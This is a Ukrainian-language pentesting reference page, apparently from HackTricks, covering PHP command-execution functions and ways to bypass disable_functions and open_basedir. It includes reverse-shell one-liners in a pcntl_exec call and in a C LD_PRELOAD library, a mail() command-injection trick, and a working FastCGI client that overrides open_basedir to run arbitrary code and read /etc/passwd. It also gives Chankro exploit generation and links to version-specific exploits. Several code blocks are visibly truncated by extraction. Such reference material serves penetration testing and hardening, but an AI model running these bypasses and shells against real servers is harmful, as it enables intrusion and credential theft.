# PHP - Корисні функції та обхід disable_functions/open_basedir {{#include ../../../../banners/hacktricks-training.md}} ## Виконання команд та коду PHP ### Виконання команд PHP **Примітка:** PHP веб-шелл [p0wny-shell](https://github.com/flozz/p0wny-shell/blob/master/shell.php) може **автоматично** перевіряти та обходити наступну функцію, якщо деякі з них будуть вимкнені. **exec** - Повертає останній рядок виводу команд ```bash echo exec("uname -a"); ``` **passthru** - Передає вивід команд безпосередньо до браузера ```bash echo passthru("uname -a"); ``` **system** - Передає вивід команд безпосередньо в браузер і повертає останній рядок ```bash echo system("uname -a"); ``` **shell_exec** - Повертає вихідні дані команд ```bash echo shell_exec("uname -a"); ``` \`\` (backticks) - Те ж саме, що і shell_exec() ```bash echo `uname -a` ``` **popen** - Відкриває канал для читання або запису до процесу команди ```bash echo fread(popen("/bin/ls /", "r"), 4096); ``` **proc_open** - Схоже на popen(), але з більшим ступенем контролю ```bash proc_close(proc_open("uname -a",array(),$something)); ``` **preg_replace** ```php ``` **pcntl_exec** - Виконує програму (за замовчуванням у сучасному та не дуже сучасному PHP вам потрібно завантажити модуль `pcntl.so`, щоб використовувати цю функцію) ```bash pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ``` **mail / mb_send_mail** - Ця функція використовується для відправки листів, але її також можна зловживати для ін'єкції довільних команд у параметр `$options`. Це пов'язано з тим, що **php `mail` функція** зазвичай викликає бінарний файл `sendmail` у системі і дозволяє вам **додавати додаткові параметри**. Однак ви не зможете побачити вихідні дані виконаної команди, тому рекомендується створити shell-скрипт, який записує вихідні дані у файл, виконати його за допомогою mail і вивести вихідні дані: ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` **dl** - Ця функція може бути використана для динамічного завантаження розширення PHP. Ця функція не завжди буде присутня, тому вам слід перевірити, чи вона доступна, перш ніж намагатися її експлуатувати. Прочитайте [цю сторінку, щоб дізнатися, як експлуатувати цю функцію](disable_functions-bypass-dl-function.md). ### Виконання PHP коду Окрім eval, є й інші способи виконання PHP коду: include/require можуть бути використані для віддаленого виконання коду у формі вразливостей Local File Include та Remote File Include. ```php ${} // If your input gets reflected in any PHP string, it will be executed. eval() assert() // identical to eval() preg_replace('/.*/e',...) // e does an eval() on the match create_function() // Create a function and use eval() include() include_once() require() require_once() $_GET['func_name']($_GET['argument']); $func = new ReflectionFunction($_GET['func_name']); $func->invoke(); // or $func->invokeArgs(array()); // or serialize/unserialize function ``` ## disable_functions & open_basedir **Вимкнені функції** - це налаштування, яке можна налаштувати в `.ini` файлах у PHP, що **забороняє** використання вказаних **функцій**. **Open basedir** - це налаштування, яке вказує PHP папку, до якої він може отримати доступ.\ Налаштування PHP зазвичай конфігурується в шляху _/etc/php7/conf.d_ або подібному. Обидва налаштування можна побачити в виході **`phpinfo()`**: ![](https://0xrick.github.io/images/hackthebox/kryptos/17.png) ![](<../../../../images/image (493).png>) ## open_basedir Bypass `open_basedir` налаштує папки, до яких PHP може отримати доступ, ви **не зможете записувати/читати/виконувати жоден файл поза** цими папками, але також ви **навіть не зможете перерахувати** інші каталоги.\ Однак, якщо ви зможете виконати довільний PHP код, ви можете **спробувати** наступний фрагмент **кодів**, щоб спробувати **обійти** обмеження. ### Перерахування каталогів з обходом glob:// У цьому першому прикладі використовується протокол `glob://` з деяким обходом шляху: ```php __toString(); } $it = new DirectoryIterator("glob:///v??/run/.*"); foreach($it as $f) { $file_list[] = $f->__toString(); } sort($file_list); foreach($file_list as $f){ echo "{$f}
"; } ``` **Примітка1**: У шляху ви також можете використовувати `/e??/*` для переліку `/etc/*` та будь-якої іншої папки.\ **Примітка2**: Здається, частина коду дублюється, але це насправді необхідно!\ **Примітка3**: Цей приклад корисний лише для переліку папок, а не для читання файлів. ### Повний обхід open_basedir з використанням FastCGI Якщо ви хочете **дізнатися більше про PHP-FPM та FastCGI**, ви можете прочитати [першу секцію цієї сторінки](disable_functions-bypass-php-fpm-fastcgi.md).\ Якщо **`php-fpm`** налаштовано, ви можете зловживати ним, щоб повністю обійти **open_basedir**: ![](<../../../../images/image (545).png>) ![](<../../../../images/image (577).png>) Зверніть увагу, що перше, що вам потрібно зробити, це знайти, де знаходиться **unix socket php-fpm**. Він зазвичай знаходиться під `/var/run`, тому ви можете **використати попередній код для переліку каталогу та знайти його**.\ Код з [тут](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy). ```php * @version 1.0 */ class FCGIClient { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; /** * Socket * @var Resource */ private $_sock = null; /** * Host * @var String */ private $_host = null; /** * Port * @var Integer */ private $_port = null; /** * Keep Alive * @var Boolean */ private $_keepAlive = false; /** * Constructor * * @param String $host Host of the FastCGI application * @param Integer $port Port of the FastCGI application */ public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket { $this->_host = $host; $this->_port = $port; } /** * Define whether or not the FastCGI application should keep the connection * alive at the end of a request * * @param Boolean $b true if the connection should stay alive, false otherwise */ public function setKeepAlive($b) { $this->_keepAlive = (boolean)$b; if (!$this->_keepAlive && $this->_sock) { fclose($this->_sock); } } /** * Get the keep alive status * * @return Boolean true if the connection should stay alive, false otherwise */ public function getKeepAlive() { return $this->_keepAlive; } /** * Create a connection to the FastCGI application */ private function connect() { if (!$this->_sock) { //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); if (!$this->_sock) { throw new Exception('Unable to connect to FastCGI application'); } } } /** * Build a FastCGI packet * * @param Integer $type Type of the packet * @param String $content Content of the packet * @param Integer $requestId RequestId */ private function buildPacket($type, $content, $requestId = 1) { $clen = strlen($content); return chr(self::VERSION_1) /* version */ . chr($type) /* type */ . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ . chr($requestId & 0xFF) /* requestIdB0 */ . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ . chr($clen & 0xFF) /* contentLengthB0 */ . chr(0) /* paddingLength */ . chr(0) /* reserved */ . $content; /* content */ } /** * Build an FastCGI Name value pair * * @param String $name Name * @param String $value Value * @return String FastCGI Name value pair */ private function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { /* nameLengthB0 */ $nvpair = chr($nlen); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { /* valueLengthB0 */ $nvpair .= chr($vlen); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } /* nameData & valueData */ return $nvpair . $name . $value; } /** * Read a set of FastCGI Name value pairs * * @param String $data Data containing the set of FastCGI NVPair * @return array of NVPair */ private function readNvpair($data, $length = null) { $array = array(); if ($length === null) { $length = strlen($data); } $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen |= (ord($data{$p++}) << 16); $nlen |= (ord($data{$p++}) << 8); $nlen |= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen |= (ord($data{$p++}) << 16); $vlen |= (ord($data{$p++}) << 8); $vlen |= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } /** * Decode a FastCGI Packet * * @param String $data String containing all the packet * @return array */ private function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } /** * Read a FastCGI Packet * * @return array */ private function readPacket() { if ($packet = fread($this->_sock, self::HEADER_LEN)) { $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=fread($this->_sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { $buf=fread($this->_sock, $resp['paddingLength']); } return $resp; } else { return false; } } /** * Get Informations on the FastCGI application * * @param array $requestedInfo information to retrieve * @return array */ public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); $resp = $this->readPacket(); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); } } /** * Execute a request to the FastCGI application * * @param array $params Array of parameters * @param String $stdin Content * @return String */ public function request(array $params, $stdin) { $response = ''; $this->connect(); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest); } $request .= $this->buildPacket(self::PARAMS, ''); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin); } $request .= $this->buildPacket(self::STDIN, ''); fwrite($this->_sock, $request); do { $resp = $this->readPacket(); if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { $response .= $resp['content']; } } while ($resp && $resp['type'] != self::END_REQUEST); var_dump($resp); if (!is_array($resp)) { throw new Exception('Bad request'); } switch (ord($resp['content']{4})) { case self::CANT_MPX_CONN: throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); break; case self::OVERLOADED: throw new Exception('New request rejected; too busy [OVERLOADED]'); break; case self::UNKNOWN_ROLE: throw new Exception('Role value not known [UNKNOWN_ROLE]'); break; case self::REQUEST_COMPLETE: return $response; } } } ?> "; // php payload -- Doesnt do anything $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"; //$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php"; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command='.$_REQUEST['cmd'], 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => '80sec/wofeiwo', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) ); // print_r($_REQUEST); // print_r($params); //echo "Call: $uri\n\n"; echo $client->request($params, $code)."\n"; ?> ``` Ці скрипти будуть взаємодіяти з **unix socket php-fpm** (зазвичай розташованим у /var/run, якщо використовується fpm), щоб виконати довільний код. Налаштування `open_basedir` буде перезаписано атрибутом **PHP_VALUE**, який надсилається.\ Зверніть увагу, як `eval` використовується для виконання PHP коду, який ви надсилаєте в параметрі **cmd**.\ Також зверніть увагу на **закоментований рядок 324**, ви можете його розкоментувати, і **payload автоматично підключиться до вказаного URL і виконає PHP код**, що міститься там.\ Просто отримайте доступ до `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');`, щоб отримати вміст файлу `/etc/passwd`. > [!WARNING] > Ви можете думати, що так само, як ми перезаписали конфігурацію `open_basedir`, ми можемо **перезаписати `disable_functions`**. Що ж, спробуйте це, але це не спрацює, очевидно, що **`disable_functions` можна налаштувати лише в конфігураційному файлі `.ini` php**, і зміни, які ви виконаєте за допомогою PHP_VALUE, не будуть ефективними для цього конкретного налаштування. ## Обхід disable_functions Якщо вам вдалося виконати PHP код на машині, ви, напевно, хочете перейти на наступний рівень і **виконати довільні системні команди**. У цій ситуації зазвичай виявляється, що більшість або всі PHP **функції**, які дозволяють **виконувати системні команди, були вимкнені** в **`disable_functions`.**\ Отже, давайте подивимося, як ви можете обійти це обмеження (якщо зможете) ### Автоматичне виявлення обходу Ви можете використовувати інструмент [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser), і він вкаже вам, яка функція (якщо така є) може бути використана для **обходу** **`disable_functions`**. ### Обхід за допомогою інших системних функцій Просто поверніться на початок цієї сторінки і **перевірте, чи не вимкнена жодна з функцій для виконання команд і доступна в середовищі**. Якщо ви знайдете лише одну з них, ви зможете використовувати її для виконання довільних системних команд. ### Обхід LD_PRELOAD Добре відомо, що деякі функції в PHP, такі як `mail()`, будуть **виконувати бінарники в системі**. Тому ви можете зловживати ними, використовуючи змінну середовища `LD_PRELOAD`, щоб змусити їх завантажити довільну бібліотеку, яка може виконати що завгодно. #### Функції, які можна використовувати для обходу disable_functions з LD_PRELOAD - **`mail`** - **`mb_send_mail`**: Ефективно, коли встановлений модуль `php-mbstring`. - **`imap_mail`**: Працює, якщо присутній модуль `php-imap`. - **`libvirt_connect`**: Потребує модуль `php-libvirt-php`. - **`gnupg_init`**: Можна використовувати з встановленим модулем `php-gnupg`. - **`new imagick()`**: Цей клас можна зловживати для обходу обмежень. Детальні техніки експлуатації можна знайти в комплексному [**описі тут**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/). Ви можете [**знайти тут**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) скрипт для фуззингу, який використовувався для виявлення цих функцій. Ось бібліотека, яку ви можете скомпілювати, щоб зловживати змінною середовища `LD_PRELOAD`: ```php #include #include #include #include uid_t getuid(void){ unsetenv("LD_PRELOAD"); system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\""); return 1; } ``` #### Bypass using Chankro Щоб зловживати цією некоректною конфігурацією, ви можете [**Chankro**](https://github.com/TarlogicSecurity/Chankro). Це інструмент, який **генерує PHP експлойт**, який вам потрібно завантажити на вразливий сервер і виконати його (доступ до нього через веб).\ **Chankro** запише на диск жертви **бібліотеку та реверс-шелл**, який ви хочете виконати, і використає **трик LD_PRELOAD + PHP `mail()`** функцію для виконання реверс-шеллу. Зверніть увагу, що для використання **Chankro**, `mail` та `putenv` **не можуть з'являтися в списку `disable_functions`**.\ У наступному прикладі ви можете побачити, як **створити експлойт chankro** для **arch 64**, який виконає `whoami` і збереже вихід у _/tmp/chankro_shell.out_, chankro **запише бібліотеку та корисне навантаження** в _/tmp_, а **кінцевий експлойт** буде називатися **bicho.php** (це файл, який вам потрібно завантажити на сервер жертви): {{#tabs}} {{#tab name="shell.sh"}} ```php #!/bin/sh whoami > /tmp/chankro_shell.out ``` {{#endtab}} {{#tab name="Chankro"}} ```bash python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php ``` {{#endtab}} {{#endtabs}} Якщо ви виявите, що функція **mail** заблокована через відключені функції, ви все ще можете використовувати функцію **mb_send_mail.**\ Більше інформації про цю техніку та Chankro тут: [https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/) ### "Bypass" за допомогою можливостей PHP Зверніть увагу, що за допомогою **PHP** ви можете **читати та записувати файли, створювати каталоги та змінювати дозволи**.\ Ви навіть можете **вивантажувати бази даних**.\ Можливо, використовуючи **PHP** для **перерахунку** системи, ви зможете знайти спосіб підвищити привілеї/виконати команди (наприклад, прочитати деякий приватний ssh ключ). Я створив веб-оболонку, яка дуже спрощує виконання цих дій (зверніть увагу, що більшість веб-оболонок також пропонують ці опції): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) ### Обхід залежно від модулів/версій Існує кілька способів обійти disable_functions, якщо використовується якийсь конкретний модуль або експлуатувати певну версію PHP: - [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable_functions-bypass-php-fpm-fastcgi.md) - [**Bypass з FFI - увімкнений Foreign Function Interface**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/broken-reference/README.md) - [**Bypass через mem**](disable_functions-bypass-via-mem.md) - [**mod_cgi**](disable_functions-bypass-mod_cgi.md) - [**PHP Perl Extension Safe_mode**](disable_functions-bypass-php-perl-extension-safe_mode-bypass-exploit.md) - [**dl function**](disable_functions-bypass-dl-function.md) - [**Цей експлойт**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) - 5.\* - експлуатовано з незначними змінами в PoC - 7.0 - всі версії на сьогодні - 7.1 - всі версії на сьогодні - 7.2 - всі версії на сьогодні - 7.3 - всі версії на сьогодні - 7.4 - всі версії на сьогодні - 8.0 - всі версії на сьогодні - [**Від 7.0 до 8.0 експлойт (тільки Unix)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) - [**PHP 7.0=7.4 (\*nix)**](disable_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only) - [**Imagick 3.3.0 PHP >= 5.4**](disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) - [**PHP 5.x Shellsock**](disable_functions-php-5.x-shellshock-exploit.md) - [**PHP 5.2.4 ionCube**](disable_functions-php-5.2.4-ioncube-extension-exploit.md) - [**PHP <= 5.2.9 Windows**](disable_functions-bypass-php-less-than-5.2.9-on-windows.md) - [**PHP 5.2.4/5.2.5 cURL**](disable_functions-bypass-php-5.2.4-and-5.2.5-php-curl.md) - [**PHP 5.2.3 -Win32std**](disable_functions-bypass-php-5.2.3-win32std-ext-protections-bypass.md) - [**PHP 5.2 FOpen експлойт**](disable_functions-bypass-php-5.2-fopen-exploit.md) - [**PHP 4 >= 4.2.-, PHP 5 pcntl_exec**](disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md) ### **Автоматичний інструмент** Наступний скрипт пробує деякі з методів, згаданих тут:\ [https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php](https://github.com/l3m0n/Bypass_Disable_functions_Shell/blob/master/shell.php) ## Інші цікаві функції PHP ### Список функцій, які приймають зворотні виклики Ці функції приймають параметр рядка, який може бути використаний для виклику функції на вибір атакуючого. Залежно від функції, атакуючий може або не може мати можливість передати параметр. У цьому випадку можна використовувати функцію розкриття інформації, таку як phpinfo(). [Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php) [Наступні списки звідси](https://stackoverflow.com/questions/3115559/exploitable-php-functions) ```php // Function => Position of callback arguments 'ob_start' => 0, 'array_diff_uassoc' => -1, 'array_diff_ukey' => -1, 'array_filter' => 1, 'array_intersect_uassoc' => -1, 'array_intersect_ukey' => -1, 'array_map' => 0, 'array_reduce' => 1, 'array_udiff_assoc' => -1, 'array_udiff_uassoc' => array(-1, -2), 'array_udiff' => -1, 'array_uintersect_assoc' => -1, 'array_uintersect_uassoc' => array(-1, -2), 'array_uintersect' => -1, 'array_walk_recursive' => 1, 'array_walk' => 1, 'assert_options' => 1, 'uasort' => 1, 'uksort' => 1, 'usort' => 1, 'preg_replace_callback' => 1, 'spl_autoload_register' => 0, 'iterator_apply' => 1, 'call_user_func' => 0, 'call_user_func_array' => 0, 'register_shutdown_function' => 0, 'register_tick_function' => 0, 'set_error_handler' => 0, 'set_exception_handler' => 0, 'session_set_save_handler' => array(0, 1, 2, 3, 4, 5), 'sqlite_create_aggregate' => array(2, 3), 'sqlite_create_function' => 2, ``` ### Інформаційний витік Більшість з цих викликів функцій не є "синками". Але це може бути вразливістю, якщо будь-які дані, що повертаються, видимі для зловмисника. Якщо зловмисник може бачити phpinfo(), це безумовно є вразливістю. ```php phpinfo posix_mkfifo posix_getlogin posix_ttyname getenv get_current_user proc_get_status get_cfg_var disk_free_space disk_total_space diskfreespace getcwd getlastmo getmygid getmyinode getmypid getmyuid ``` ### Інше ```php extract // Opens the door for register_globals attacks (see study in scarlet). parse_str // works like extract if only one argument is given. putenv ini_set mail // has CRLF injection in the 3rd parameter, opens the door for spam. header // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area. proc_nice proc_terminate proc_close pfsockopen fsockopen apache_child_terminate posix_kill posix_mkfifo posix_setpgid posix_setsid posix_setuid ``` ### Функції файлової системи Згідно з RATS, всі функції файлової системи в php є неприємними. Деякі з них не здаються дуже корисними для атакуючого. Інші є більш корисними, ніж ви могли б подумати. Наприклад, якщо allow_url_fopen=On, то URL може бути використаний як шлях до файлу, тому виклик copy($\_GET\['s'], $\_GET\['d']); може бути використаний для завантаження PHP-скрипта в будь-яке місце системи. Також, якщо сайт вразливий до запиту, надісланого через GET, кожна з цих функцій файлової системи може бути зловжита для перенаправлення атаки на інший хост через ваш сервер. **Відкритий обробник файлової системи** ```php fopen tmpfile bzopen gzopen SplFileObject->__construct ``` **Запис на файлову систему (частково в поєднанні з читанням)** ```php chgrp chmod chown copy file_put_contents lchgrp lchown link mkdir move_uploaded_file rename rmdir symlink tempnam touch unlink imagepng // 2nd parameter is a path. imagewbmp // 2nd parameter is a path. image2wbmp // 2nd parameter is a path. imagejpeg // 2nd parameter is a path. imagexbm // 2nd parameter is a path. imagegif // 2nd parameter is a path. imagegd // 2nd parameter is a path. imagegd2 // 2nd parameter is a path. iptcembed ftp_get ftp_nb_get scandir ``` **Читання з файлової системи** ```php file_exists -- file_get_contents file fileatime filectime filegroup fileinode filemtime fileowner fileperms filesize filetype glob is_dir is_executable is_file is_link is_readable is_uploaded_file is_writable is_writeable linkinfo lstat parse_ini_file pathinfo readfile readlink realpath stat gzfile readgzfile getimagesize imagecreatefromgif imagecreatefromjpeg imagecreatefrompng imagecreatefromwbmp imagecreatefromxbm imagecreatefromxpm ftp_put ftp_nb_put exif_read_data read_exif_data exif_thumbnail exif_imagetype hash_file hash_hmac_file hash_update_file md5_file sha1_file -- highlight_file -- show_source php_strip_whitespace get_meta_tags ``` {{#include ../../../../banners/hacktricks-training.md}}